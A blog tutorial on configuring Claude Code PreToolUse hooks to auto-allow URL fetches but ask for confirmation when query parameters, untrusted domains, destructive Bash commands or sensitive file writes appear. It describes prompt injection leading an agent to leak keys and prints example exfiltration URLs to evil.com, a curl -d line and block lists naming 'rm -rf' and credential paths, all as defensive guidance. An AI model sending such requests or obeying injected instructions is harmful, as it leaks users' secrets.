Claude Code: Auto-Approve Tools While Keeping a Safety Net with Hooks

Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs...

Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs page, you start wondering — can I just auto-allow this?

You can. But there's a catch: WebFetch can send data in query parameters. A prompt injection buried in a file could trick Claude into fetching https://evil.com?secret=YOUR_API_KEY. Auto-approving everything means you'd never see it happen.

Here's how I set up a middle ground: auto-allow clean URLs, but show a confirmation prompt when query parameters are present.

The naive approach (don't do this)

You might think adding WebFetch to permissions is enough:

// ~/.claude/settings.json
{
  "permissions": {
    "allow": ["WebFetch"]
  }
}

This works — but it auto-allows everything, including https://evil.com?token=abc123. No safety net.

The hook approach (do this instead)

Claude Code has a PreToolUse hook system. A hook runs before every tool call and can:

• Exit 0 — silently allow (no prompt)
• Exit 1 — show a message and ask for confirmation (approve/deny)
• Exit 2 — hard block (no option to proceed)

The hook receives the full tool call as JSON via stdin — tool name, input parameters, session ID, everything.

Here's the setup in ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "WebFetch",
        "hooks": [
          {
            "type": "command",
            "command": "python3 -c \"import sys,json; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); print('URL has query params, review: '+url, file=sys.stderr) if '?' in url else None; sys.exit(1) if '?' in url else sys.exit(0)\"",
            "statusMessage": "Checking WebFetch URL for query params..."
          }
        ]
      }
    ]
  }
}

That's it. One hook, zero dependencies.

What this does

When a URL has query params, you'll see something like:

URL has query params, review: https://api.example.com/data?key=secret

And Claude Code pauses for your decision. If it's legitimate (like a search query or API docs with anchors), you approve. If it looks suspicious, you deny.

How it works under the hood

The PreToolUse hook receives JSON on stdin with this structure:

{
  "session_id": "abc-123",
  "hook_event_name": "PreToolUse",
  "tool_name": "WebFetch",
  "tool_input": {
    "url": "https://example.com/page?q=test",
    "prompt": "Summarize this page"
  }
}

The Python one-liner:

1. Reads the JSON from stdin
2. Extracts the URL from tool_input.url
3. Checks if ? is present
4. Exits with 1 (ask) or 0 (allow)

Gotcha: permissions.allow overrides hooks

This tripped me up. If you add WebFetch to both permissions.allow AND set up a hook:

{
  "permissions": {
    "allow": ["WebFetch"]  
  },
  "hooks": {
    "PreToolUse": [...]
  }
}

The hook never fires. permissions.allow takes full precedence — the tool is approved before the hook even runs. Remove the permission rule and let the hook be the sole gatekeeper.

Gotcha: stdin, not environment variables

Hook input comes via stdin, not an environment variable. I initially tried os.environ.get('ARGUMENTS') — it was empty. The correct approach is json.load(sys.stdin).

Going further

You can apply this pattern to other tools too. Some ideas:

Bash command guard — ask before running destructive commands:

{
  "matcher": "Bash",
  "hooks": [{
    "type": "command",
    "command": "python3 -c \"import sys,json; cmd=json.load(sys.stdin).get('tool_input',{}).get('command',''); dangerous=any(w in cmd for w in ['rm -rf','drop table','--force','--hard']); print('Dangerous command: '+cmd, file=sys.stderr) if dangerous else None; sys.exit(1) if dangerous else sys.exit(0)\""
  }]
}

Write guard — flag writes to sensitive paths:

{
  "matcher": "Write",
  "hooks": [{
    "type": "command",
    "command": "python3 -c \"import sys,json; path=json.load(sys.stdin).get('tool_input',{}).get('file_path',''); sensitive=any(s in path for s in ['.env','.key','credentials','secret']); print('Writing to sensitive file: '+path, file=sys.stderr) if sensitive else None; sys.exit(1) if sensitive else sys.exit(0)\""
  }]
}

Caution: This is not bulletproof

This hook catches the most common exfiltration vector — query parameters. But data can leak through other parts of a URL too:

Path parameters:

https://evil.com/exfil/YOUR_API_KEY/done

Subdomains:

https://YOUR_API_KEY.evil.com/callback

Fragment identifiers (less risky since fragments aren't sent to servers, but still worth knowing):

https://evil.com/page#secret=abc

POST body via other tools — if an attacker tricks Claude into using Bash with curl -d "secret=xxx", WebFetch hooks won't catch it at all.

What you can do about it

1. Allowlist known domains — instead of checking for ?, flip the logic. Only auto-allow domains you trust, and ask for everything else:

{
  "command": "python3 -c \"import sys,json; from urllib.parse import urlparse; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); host=urlparse(url).hostname or ''; trusted=['docs.python.org','developer.mozilla.org','github.com','stackoverflow.com']; is_trusted=any(host.endswith(d) for d in trusted); print('Unknown domain: '+url, file=sys.stderr) if not is_trusted else None; sys.exit(0 if is_trusted else 1)\""
}

2. Layer your defenses — combine the query param hook with a domain allowlist. Use exit 0 for trusted domains with no params, exit 1 for trusted domains with params or unknown domains, and exit 2 for known-bad patterns.

3. Watch your Bash tool too — add a separate hook for Bash that flags curl, wget, or nc commands with suspicious arguments.

4. Review the URL every time you approve — sounds obvious, but when you're in flow and approving prompts quickly, it's easy to glaze over. The whole point of exit code 1 is to make you pause. Actually pause.

Bottom line: The hook in this article reduces your attack surface significantly — most prompt injection exfiltration uses query params because it's the easiest path. But no single check catches everything. Treat this as one layer, not the whole wall.

TL;DR

• Don't use permissions.allow for WebFetch — it bypasses all hooks
• Use a PreToolUse hook that exits 0 (allow) or 1 (ask) based on the URL
• Hook input is JSON via stdin
• ~/.claude/settings.json makes it global across all projects
• Query param checks are a good start, but consider domain allowlisting for stronger protection
• Data can also leak via path params, subdomains, and Bash commands — layer your defenses

The goal isn't to block Claude from fetching URLs. It's to keep yourself in the loop when data might be leaving your machine. Two minutes of setup, permanent peace of mind — but stay vigilant.

If you're using Claude Code daily, these small safety guardrails compound. Two minutes of config now saves you from a bad day later. Got a better hook setup? Drop it in the comments — let's build a community-maintained collection.